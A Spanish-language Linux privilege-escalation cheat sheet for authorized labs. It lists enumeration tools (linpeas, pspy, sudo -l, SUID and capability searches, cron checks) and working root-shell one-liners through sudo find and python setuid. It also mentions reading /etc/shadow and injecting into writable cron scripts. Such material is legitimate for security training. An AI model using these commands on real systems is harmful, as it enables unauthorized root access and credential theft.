

Escalada Linux

Solo para laboratorios autorizados. Sustituye variables, confirma versión y guarda salida.

Decisión rápida

1. Confirma alcance, identidad y conectividad.
2. Parte de una señal; no ejecutes toda la tabla.
3. Predice salida y prepara un control negativo.
4. Ejecuta la prueba menos intrusiva.
5. Registra evidencia y vuelve al módulo si falla.

Señales

- lineas marca en rojo/amarillo (99% PE vectors) un binario, servicio o fichero.
- pspy muestra procesos o cron que arrancan como root de forma periodica.
- sudo -l muestra entradas '(root) NOPASSWD: /ruta/bin' (ni siquiera piden password).
- El binario permitido aparece en GTFOBins bajo 'sudo'.
- find de SUID devuelve binarios raros (nmap, find, cp, python, vim, tar) fuera de los tipicos.
- Un binario a medida del reto con el bit SUID puesto.
- getcap lista un binario con cap_setuid+ep (escalada directa via python/perl).
- cap_dac_read_search+ep: lectura de /etc/shadow y cualquier fichero protegido.
- Un script referenciado en cron es escribible por tu usuario o su grupo.
- La tarea usa una ruta relativa o un comodin (*) en un directorio donde puedes crear ficheros.

Comandos y pruebas

Prueba	Objetivo/contexto	Evidencia esperada
<code>./linpeas.sh -a 2>/dev/null tee linpeas.txt</code>	Automatiza cientos de checks de privesc en un pase. -a es el modo agresivo; guardar la salida (tee) te deja releerla sin volver a correrlo.	Fijate en lo marcado en rojo/amarillo, sobre todo 'sudo', 'SUID', 'Capabilities', 'Cron', 'Interesting files'. Valida cada uno; hay falsos positivos.
<code>./pspy64 -pf -i 1000</code>	Muestra procesos y comandos que arrancan sin necesitar root, ideal para ver cron y tareas que ps puntual no capta. Revela que ejecuta root de forma periodica.	Comandos que aparecen cada X segundos con uid=0. Si alguno llama a un script o binario que puedes escribir, tienes un vector tipo cron-abuse.
<code>sudo -l</code>	Enumera exactamente que comandos puedes correr como otro usuario. Es el vector mas rapido y comun; muchas rooms se resuelven aqui sin buscar mas.	Entradas '(root) NOPASSWD: ...'. Cada binario permitido -> GTFOBins. Si pide password y no la tienes, este vector queda en pausa.
<code>sudo /usr/bin/find . -exec /bin/sh \; -quit</code>	Ejemplo tipico de GTFOBins: si puedes sudo find, su flag -exec lanza una shell heredando el privilegio root de sudo.	Prompt # y id con uid=0. Cambia find por el binario concreto que te permita tu sudo -l; la idea (forzar una shell) es la misma.
<code>find / -perm -4000 -type f 2>/dev/null</code>	Lista todos los binarios con bit SUID. -perm -4000 filtra justo ese bit; 2>/dev/null oculta el ruido de permiso denegado.	Rutas de binarios SUID. Ignora los tipicos del sistema; cualquier cosa rara o a medida -> GTFOBins. Anota tambien la version si es un binario conocido.
<code>getcap -r / 2>/dev/null</code>	Lista todos los binarios con capabilities asignadas. -r recorre recursivamente; el ruido de permiso denegado se oculta con 2>/dev/null.	Lineas 'binario = cap_xxx+ep'. cap_setuid -> escalada directa (GTFOBins). cap_dac_read_search -> lees /etc/shadow. Ignora los del sistema base.
<code>/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'</code>	Si python tiene cap_setuid, setuid(0) cambia tu uid a root y luego lanzas una shell que ya corre como root. Es la receta de GTFOBins para esa capability.	Prompt de root y id con uid=0. Cambia python por el interprete concreto que getcap marco con cap_setuid.
<code>cat /etc/crontab; ls -la /etc/cron.*</code>	Muestra las tareas programadas del sistema y con que frecuencia corren. Es el primer sitio donde mirar que ejecuta root de forma automatica.	Lineas con horario, usuario (root) y el comando/script. Anota los scripts que corren como root: el siguiente paso es ver si puedes escribirlos.
<code>ls -l /ruta/al/script_de_cron.sh</code>	Comprueba si el script que ejecuta root es escribible por ti. Ese permiso de escritura es justo la frontera de confianza rota que necesitas.	Los permisos y el dueño. Si tu usuario o un grupo tuyo tiene w, puedes inyectar comandos. Si no, busca comodines o rutas relativas manipulables.

Diagnóstico

Síntoma	Comprobar
Sin respuesta	ruta, DNS, puerto, listener y firewall
Rechazo	sintaxis, credenciales, permisos y versión
Salida distinta	control negativo, caché y estado
Resultado parcial	identidad efectiva y precondiciones

Cierre

- Guardar comando adaptado y salida.
- Anotar qué confirma y qué no.
- No persistir secretos en notas compartidas.
- Restaurar cambios del laboratorio.

Fuente operativa: conceptos de Fieldbook. Método: construcción de payloads.